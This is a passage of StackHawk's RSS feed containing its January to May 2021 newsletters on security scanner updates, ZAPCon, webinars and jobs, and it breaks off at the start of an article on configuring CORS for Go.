href=&quot;https://stackhawk.zoom.us/webinar/register/4316196358245/WN_ntmvYDvzR4eFXXwyAsxlOA&quot;&gt;Automated Security Testing in a GitHub Pipeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 11: &lt;a href=&quot;https://youtu.be/bxtHy1o05rU&quot;&gt;ZAPCon After Hours: Adding ZAP to All Your Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 28: &lt;b&gt;[Workshop] &lt;/b&gt;&lt;a href=&quot;https://stackhawk.zoom.us/webinar/register/9016196366821/WN_oaV73pMbSYqqgarP_c4GOw&quot;&gt;Authenticated Application Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/guide-to-zap-application-security-testing/&quot;&gt;Guide to ZAP Application Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/serverless-security-api-testing/&quot;&gt;Serverless API Security Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/burp-suite-enterprise-vs-stackhawk/&quot;&gt;Burp Suite Enterprise vs. StackHawk &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-updates/&quot;&gt;API Security Testing Feature Updates&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;May 4-7: &lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/?utm_source=Google&amp;utm_medium=Paid%20Search&amp;utm_campaign=KubeConEU2021&amp;gclid=Cj0KCQjw0oCDBhCPARIsAII3C_HZy0DqnowmE4ho6wfd7RMZb-fBhEKLUtI290eZ0vWHHsNW4iCK3B0aAjkjEALw_wcB&quot;&gt;KubeCon EU&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 11: &lt;a href=&quot;https://www.developerweek.com/global/conference/management/&quot;&gt;Developer Week Global Management&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 19: &lt;a href=&quot;https://www.mediaopsevents.com/devopsconnect&quot;&gt;DevOps Connect: DevSecOps at RSAC 2021&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 20: &lt;a href=&quot;https://www.cloud-native-sre.wtf/&quot;&gt;WTF is SRE?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 9: &lt;a href=&quot;https://live.jsnation.com/&quot;&gt;JSNation Live&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;June 23: &lt;a href=&quot;https://events.linuxfoundation.org/cdcon/&quot;&gt;cdCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼 &lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Account Executive [Inside Sales]&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Community Manager&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Customer Success Engineer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;DAST Scanner Engineer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Marketing Coordinator&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. Thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[March Newsletter: API Scanning Updates, Security Testing for Developers, and more]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/march-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;p&gt;Scanning your APIs for security vulnerabilities is critical. This month, we introduced new scanning capabilities to give you faster, more accurate scans no matter what type of API you are working with.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Optimized Scanning Policies. &lt;/b&gt;Run the scans that are meaningful to your specific API. A new `autoPolicy` flag in the stackhawk.yml will pull a pretuned default policy from the StackHawk platform based on the configured API technology (REST, GraphQL, or SOAP). &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Smart Input Vectors. &lt;/b&gt;Each API technology requires different inputs and input types to efficiently find vulnerabilities. The new `autoInputVector` will populate the right inputs for your API so you can run faster, more accurate scans. Like magic!&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;REST Parameter Aware Scanning. &lt;/b&gt;Don’t waste time scanning nearly identical paths with different parameter values. The scanner now recognizes REST API parameters to limit redundant tests in your scan. Now you just have to figure out what to do with all that extra time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SOAP Support. &lt;/b&gt;The StackHawk scanner can now find vulnerabilities in SOAP APIs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Security Testing for Developers&lt;/h3&gt;&lt;p&gt;Using security tools in CI/CD comes with huge upside – vulnerabilities can be found on every merge and they can be fixed on the spot. No more waiting months for an audit and wading through ancient code to try to patch. &lt;/p&gt;&lt;p&gt;But, implementing security testing in the build pipeline requires developer-friendly tools. And not every security tool on the market checks the right boxes. &lt;/p&gt;&lt;p&gt;We put together a couple resources to help you know what to look for when it comes to dev-centric security tooling.  &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;Dynamic Application Security Testing (DAST): Overview &amp;amp; Tooling Guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Video] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/N1n72SfJDvs&quot;&gt;SCA + DAST in Action with Snyk and StackHawk&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-sca-and-dast/&quot;&gt;Dev-Centric Application Security Tooling&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Catch-Up on ZAPCon 2021&lt;/h3&gt;&lt;p&gt;Earlier this month, we helped put together the first-ever ZAPCon. &lt;/p&gt;&lt;p&gt;The event featured awesome content covering ZAP Project Updates, technical deep dives, and user stories. If you weren’t able to tune in or you want to re-watch your favorite sessions, you can catch all of ZAPCon &lt;a href=&quot;https://youtube.com/playlist?list=PLz_NN8o2uh8CtsbnEA8NhJODYDg2qr3md&quot;&gt;now on YouTube&lt;/a&gt;. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;ZAPCon Bonus Content&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This week we introduced a recurring ZAP content series called ZAPCon After Hours. You can watch the first After Hours session &lt;a href=&quot;https://youtu.be/Gyf0XZRDBAM&quot;&gt;on YouTube&lt;/a&gt; as well. &lt;/p&gt;&lt;p&gt;To keep in the loop on all things After Hours, make sure to register for updates by clicking below. &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://stackhawk.typeform.com/to/r7BaEJR1&quot;&gt;&lt;b&gt;Stay Up to Date&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;📺 &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Full Event Playlist]&lt;/b&gt; &lt;a href=&quot;https://youtube.com/playlist?list=PLz_NN8o2uh8CtsbnEA8NhJODYDg2qr3md&quot;&gt;ZAPCon&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/Gyf0XZRDBAM&quot;&gt;ZAPCon After Hours #1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/yDGgLJBcOBY&quot;&gt;HawkTalks Quick Hit: Scanning GraphQL&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/BYi4nA0nhR8&quot;&gt;ZAP Deep Dive: Setting Up a ZAP Dev Environment&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/zapcon-2021-zap-automation-at-scale/&quot;&gt;ZAPCon 2021: ZAP Automation at Scale&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/zap-vs-stackhawk-comparison/&quot;&gt;ZAP vs. StackHawk: Dynamic Application Security Testing Tool Comparison&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/sql-injection-prevention-django/&quot;&gt;Django SQL Injection Guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archive]&lt;/b&gt; &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;StackHawk GitHub Action&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💻 &lt;b&gt;Webinars&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;April 8: &lt;a href=&quot;https://www.brighttalk.com/webcast/17752/447423&quot;&gt;Dev-Centric Security in CI/CD with StackHawk and FOSSA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 12: &lt;a href=&quot;https://webinars.devops.com/automate-appsec-in-ci/cd-with-sca-dast?utm_campaign=DO%20Webinar%20WhiteSource%204.12.21&amp;utm_source=Stackhawk1&quot;&gt;Automate AppSec in CI/CD with SCA &amp;amp; DAST&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;April 8: &lt;a href=&quot;https://devopsdays.org/events/2021-raleigh/welcome/&quot;&gt;DevOps Days Raleigh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 14-16: &lt;a href=&quot;https://reactsummit.com/&quot;&gt;React Summit &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 20: &lt;a href=&quot;https://zapcon.io/#after-hours&quot;&gt;ZAPCon After Hours: ZAP Automation with Jenkins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 4-7: &lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/?utm_source=Google&amp;utm_medium=Paid%20Search&amp;utm_campaign=KubeConEU2021&amp;gclid=Cj0KCQjw0oCDBhCPARIsAII3C_HZy0DqnowmE4ho6wfd7RMZb-fBhEKLUtI290eZ0vWHHsNW4iCK3B0aAjkjEALw_wcB&quot;&gt;KubeCon EU&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;May 19: &lt;a href=&quot;https://www.mediaopsevents.com/devopsconnect&quot;&gt;DevOps Connect: DevSecOps at RSAC 2021&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;💼 Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Account Executive [Inside Sales]&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Community Manager&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Customer Success Engineer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;DAST Scanner Engineer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt;Marketing Coordinator&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues. Thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[February Newsletter: Scanner Improvements, ZAPCon Speakers, API Security, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/february-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to KaaKaww About&lt;/h3&gt;&lt;p&gt;Slow scans or false positives? Not on our watch.&lt;/p&gt;&lt;p&gt;We are making scans faster and more accurate through improvements like: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tech stack optimizations. &lt;/b&gt;Run faster, more accurate scans by specifying tests for your app. Only test what&amp;#39;s relevant to you based on the database, language, operating system, source code management, and web servers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Auto policy creation. &lt;/b&gt;Run specific test suites for APIs and web pages. Don&amp;#39;t spend time scanning for CSRF token vulnerabilities in your REST API or sorting through false positives for your front-end app. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fine-grain test visualization. &lt;/b&gt;Something slowing your scan down? Now you can see individual plug-in scan progress to troubleshoot and tune performance.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Results streaming. &lt;/b&gt;Results are added to the StackHawk platform in real-time so you can watch scans as they happen. Additionally, this functionality makes scans more efficient with less data held in memory.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;But we aren’t done yet. Stay tuned for more updates that will make you love DAST even more!&lt;/p&gt;&lt;h3&gt;Speakers Announced for Inaugural ZAPCon&lt;/h3&gt;&lt;p&gt;ZAPCon, the conference for ZAP users, is happening March 9, 2021. Over 1,000 attendees are slated to join the virtual event to see how others in the community are leveraging ZAP and to learn about the project’s roadmap. &lt;/p&gt;&lt;p&gt;Event highlights will include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An opening keynote from ZAP founder and project lead, Simon Bennetts. Attendees will hear what is on the horizon for ZAP and how the tool will continue to make security testing easier for developers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Real-life implementation stories spanning topics like fintech and mobile applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Technical deep dives covering ZAP automation and integration with other open source tools.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://zapcon.io/#speakers&quot;&gt;&lt;b&gt;See the Speakers&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.eventbrite.com/e/zapcon-2021-registration-138800517083?aff=FebNewsletter&quot;&gt;&lt;b&gt;Register Now&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;API Security Testing&lt;/h3&gt;&lt;p&gt;Web APIs expose valuable data and logic, which makes them prime targets for bad actors. But keeping your API secure can be difficult. &lt;/p&gt;&lt;p&gt;That’s why we have developed the resources and tooling to help developers streamline their API development process to include security testing.  &lt;/p&gt;&lt;p&gt;Check these out to keep your API protected:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Video]&lt;/b&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=vdOSxjsV8gA&quot;&gt;Why Developers Struggle with API Security, Scott Gerlach | Postman Galaxy 2021&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-protection-from-vulnerabilities-with-design-and-testing/&quot;&gt;API Security: Protection from Vulnerabilities with Design and Testing&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-apis-with-stackhawk-and-swagger/&quot;&gt;Security Testing APIs with StackHawk and Swagger&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;📺 &lt;b&gt;HawkTalks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/l1zaZgMQIKc&quot;&gt;How to Add Application Security Testing to a GitLab Pipeline&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/BOlalxfdLbU&quot;&gt;ZAP Deep Dive: Authenticated Packaged Scans&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/B-MDsECikqM&quot;&gt;ZAP Deep Dive: ZAP Automation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;What is Dynamic Application Security Testing (DAST)?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives]&lt;/b&gt; &lt;a href=&quot;https://www.stackhawk.com/blog/spring-profiles-third-party-services-docker/&quot;&gt;Using Spring Profiles to Statefully Mock Out Third Party Services in Docker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;CTO Connection | Reducing Cycle Time: March 2, 9, and 16&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsdays.org/events/2021-texas/welcome/&quot;&gt;DevOpsDays Texas&lt;/a&gt;: March 2&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://zapcon.io/&quot;&gt;ZAPCon&lt;/a&gt;: March 9&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Webinar]&lt;/b&gt; &lt;a href=&quot;https://us02web.zoom.us/webinar/register/1116143622816/WN_FWpl0yBMRjCX_Kq6FND44A&quot;&gt;SCA + DAST in Action with Snyk and StackHawk&lt;/a&gt;: March 18 &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsjsconf.com/&quot;&gt;DevOps JS&lt;/a&gt;: March 29-30, StackHawk workshop March 31&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share about StackHawk with your friends and colleagues. Thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[January Newsletter: Onboarding Updates, ZAPCon 2021, Auth Blogs, and More]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/january-newsletter-2021</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h3&gt;The Changelog: New Features to Kaakaww About&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;New Sample Application Onboarding.&lt;/b&gt; Get scanning faster! We’ve created a wizard to walk new users through the steps for scanning Google Firing Range sample data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GraphQL Updates. &lt;/b&gt;We are giving GraphQL users more details to find vulnerabilities in their APIs. We&amp;#39;ve optimized the user experience associated with describing and recreating GraphQL vulnerabilities to show more details around GraphQL operations and queries.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;REST API Updates. &lt;/b&gt;Not to be outdone by GraphQL, REST APIs get their own improvements so you have all the information you need to troubleshoot on the fly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Recreate Findings Faster. &lt;/b&gt;When you drill into a specific finding you will see a new UI that has the &amp;quot;Response,&amp;quot; &amp;quot;Request,&amp;quot; and Evidence&amp;quot; sections all in one view so you can seamlessly recreate vulnerabilities without switching panels.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;We are Thrilled to Present the First-Ever ZAPCon&lt;/h3&gt;&lt;p&gt;We are thrilled to be part of the first-ever ZAPCon taking place &lt;b&gt;March 9th at 8AM-12PM PT / 4PM-8PM GMT. &lt;/b&gt;The event is free for everyone!&lt;/p&gt;&lt;p&gt;Topics include using &lt;a href=&quot;https://zaproxy.org/&quot;&gt;ZAP&lt;/a&gt; at scale and application security best practices. If you are a current ZAP user or are interested in learning more about the open source scanner StackHawk is built on, make sure to register. &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://sessionize.com/zapcon-cfs&quot;&gt;&lt;b&gt;Submit a Talk&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.eventbrite.com/e/zapcon-2021-registration-138800517083?aff=JanNewsletter&quot;&gt;&lt;b&gt;Register Now&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h3&gt;Can We See Some ID?&lt;/h3&gt;&lt;p&gt;When implementing security testing and vulnerability scanning, it is important to test all of your app’s paths, including the authenticated routes. Only scanning public routes can cause you to miss the majority of vulnerabilities, which are often hidden behind a credentialed login.&lt;/p&gt;&lt;p&gt;Implementing authentication flows can be tricky, so we have created a new blog series to walk you through how to configure the StackHawk scanner with different forms of authentication. &lt;/p&gt;&lt;p&gt;Check out the blogs and keep your scans on lock 🔐&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-authenticated-app-routes-part-1-cookie-authentication/&quot;&gt;Username/Password Authentication + Cookie Authorization&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-authenticated-app-routes-part-2-external-token-authentication-with-auth0/&quot;&gt;External Token Authentication + Custom Token Authorization &lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/password-authentication-with-bearer-token/&quot;&gt;Username/Password Authentication + Bearer Token Authorization&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h3&gt;&lt;p&gt;&lt;b&gt;📖&lt;/b&gt; &lt;b&gt;Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Silicon Angle]&lt;/b&gt; &lt;a href=&quot;https://siliconangle.com/2021/01/21/security-shifts-left-to-debug-critical-code-before-software-deployment-cubeoncloud/&quot;&gt;Security ‘Shifts Left’ to Debug Critical Code Before Software Deployment&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;Application Security Testing with the StackHawk GitHub Action&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-to-run-standalone-kotlin-with-gradle/&quot;&gt;How to Run Standalone Kotlin with Gradle&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-we-built-the-stackhawk-slack-app/&quot;&gt;How We Built the StackHawk Slack App&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽&lt;/b&gt; &lt;b&gt;Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We kicked off the year with TestJS Summit at the end of January. We have more great events coming up!&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.postman.com/postman-galaxy/&quot;&gt;Postman Galaxy&lt;/a&gt;: February 2-4&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://cloudworldconf.com/&quot;&gt;Cloud World&lt;/a&gt;: February 17-19&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://nodecongress.com/&quot;&gt;Node Congress&lt;/a&gt;: February 18-19&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Webinar]&lt;/b&gt; &lt;a href=&quot;https://us02web.zoom.us/webinar/register/1816117713958/WN_GnzQwyhvRsSWHYk0CKZeVg&quot;&gt;Using StackHawk in GitLab CI/CD&lt;/a&gt;: February 25&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsdays.org/events/2021-texas/welcome/&quot;&gt;DevOpsDays Texas&lt;/a&gt;: March 2-3&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[Webinar] &lt;/b&gt;&lt;a href=&quot;https://us02web.zoom.us/webinar/register/7316118817078/WN_FWpl0yBMRjCX_Kq6FND44A&quot;&gt;SCA + DAST in Action with Snyk and StackHawk&lt;/a&gt;: March 18 &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://devopsjsconf.com/&quot;&gt;DevOps JS&lt;/a&gt;: March 29-30&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security testing. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues. As always, thank you for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Configuring CORS for Go (Golang)]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/configuring-cors-for-go</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Tim Armstrong]]></dc:creator><content:encoded>&lt;p&gt;In previous articles, we&amp;#39;ve covered &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;what CORS is&lt;/a&gt; and the reverse proxy methods to &lt;a href=&quot;https://www.stackhawk.com/blog/fixing-no-access-control-allow-origin-header-present/&quot;&gt;Fixing &amp;quot;no &amp;#39;access-control-allow-origin&amp;#39; header 